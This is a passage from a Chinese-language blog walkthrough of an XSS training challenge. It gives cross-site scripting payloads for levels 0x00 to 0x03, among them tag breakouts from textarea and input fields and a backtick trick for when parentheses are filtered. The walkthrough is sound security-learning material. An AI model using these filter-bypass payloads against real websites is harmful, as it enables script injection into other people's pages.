0x00 这里没有过滤，所以直接输入<script>alert（1）</script> 0x01 这里有<textarea>标签，因为<textarea>里会有HTML解码操作，但不会有子元素，所以要跳出这个标签就可以 要在执行内容前跳出这个标签，输入</textarea><script>alert(1)</script> 0x02 这里有input标签，所以也要先跳出该标签 输入"><script>alert(1)</script> 0x03 这里是过滤了(），所以要使用反引号 输入 <script>alert`1`</script>
最低0.47元/天 解锁文章
2万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
